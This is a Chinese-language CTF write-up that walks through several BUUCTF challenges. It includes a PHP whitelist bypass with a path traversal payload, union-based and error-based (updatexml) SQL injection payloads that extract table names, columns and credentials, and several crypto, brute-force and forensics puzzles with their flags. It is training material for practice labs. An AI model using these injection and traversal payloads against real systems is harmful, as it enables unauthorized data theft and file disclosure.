题目来源:BUUCTF
目录
0×00 [HCTF 2018]WarmUp
打开题目给了个链接:http://9b596859-35ea-451c-b4a9-8499102976f2.node3.buuoj.cn/
打开链接是张滑稽图片,查看源码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<!--source.php-->
<br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>
发现了source.php
进入source.php找到源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码开头找到了hint.php
flag不在这。
对源码的理解:
白名单里有,source.php和hint.php
第一个if语句:
判断$page是否为空 或者 $page是否为字符串,是空或者不是字符串返回false,不是空或者为字符串返回为true
第二个if语句:
判断$page是否在$whitelist,存在返回为true
从零开始截取$page,截取长度由?在$page的位置决定(也就是截取?号之前的字符串)
第三个if语句;
截取之后再次判断$page是否存在$whitelist数组中,存在返回为true
并且对$page进行url解码
再次对$page截取
截取之后再次判断$page是否存在$whitelist,存在返回为true
第四个if语句:
file需要满足三个条件:
1.不能为空
2.是字符串
3.还要通过check file()函数的检查
满足就可以进一步找到包含flag的文件
不满足打印滑稽表情
flag不在hint.php里,那么应该在source.php里,而且还要确保$page
的参数在$whitelist
里,?截取之后的$page
还在$whitelist里;服务器端提取参数时会对?
进行url解码,check file()里会对?
再一次进行url解码,所以我们需要对?
进行二次编码。
十六进制
+ %20
/ %2F
? %3F
% %25
# %23
& %26
所以,我们构造payload:?file=source.php%253f/../../../../../ffffllllaaaagggg
满足四个条件。
也可以是?file=source.php?/../../../../../ffffllllaaaagggg
四个if语句满足其一也行。
之所以使用/…/…/…/…/…/是因为目录穿越是通过使用 …/ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。
0×01 [极客大挑战 2019]EasySQL
先判断闭合点,1'
报错了说明闭合点就是'
下面判断列数,构造payload:?username=1&password=1' oerder by 1 %23
因为是get方式,所以我们需要将注释符#经过url编码%23
判断出列数为3,再次构造payload:?username=1&password=1' union select 1,2,(database()) %23
直接得到flag
看大佬的博客,直接一句话:直接 username 永真 就过了
1’ or 1=1 #
这操作我吐了。
0×02 [极客大挑战 2019]HardSQL
嗯哼
测试了一下,闭合符号还是'
依旧是username=1&password=1' order by 5 %23
这就尴尬了,思路全无…
看了大佬wp,并学习了报错注入的我回来了
构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23
查看数据库
出来了geek!!!
再次构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
不得不说这个payload真的是难搞,搞了n次
表名也出来了
再次构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
得到了用户名,密码字段
再次构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(username,0x7e,password))from(H4rDsq1)),0x7e),1))%23
得到了一半的flag,然后利用right!
构造payload:?username=1 &password=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23
前面和后面的对照一下,删除一些字符,拼接就能得到flag!
这web题真的是费劲!
0×03 [BJDCTF 2nd]燕言燕语-y1ng
打开题目,得到一串数字:79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20
0-9,A-F感觉是十六进制,就转换一下得到yanzi ZJQ{xilzv_iqssuhoc_suzjg}
经过维吉尼亚解密,密钥yanzi,得到flag:BJD{yanzi_jiushige_shabi}
(别问我为啥是维吉尼亚,我也不知道)
0×04 传统知识+古典密码
下载得到附件
我稍微进行了修改一下
emmmXZSDMFLZ
打开密码软件,栅栏密码试一下,得到了几栏结果
用前四个结果,再来一次凯撒。
最后找到了
SHUANGYU,emmmmm,提交成功了!
0×05[GKCTF2020]小学生的密码学
这也是第一次见这道题,是仿射加密类型的
找个在线解密网站
sorcery
0×06 rar
下载附件需要输入纯四位数字的密码
直接打开ARPR进行暴力破解,不一会密码就出来了
就得到了flag。
0×07 文件中的秘密
打开是一张图片
直接拉进winhex分析,在winhex里搜索flag。
提交就对了。
0×08 qr
里面是一张二维码,扫一下就得到了flag。
0×09 wireshark
是一张流量表
在这里找到登录信息
双击找密码
提交flag就对了!!!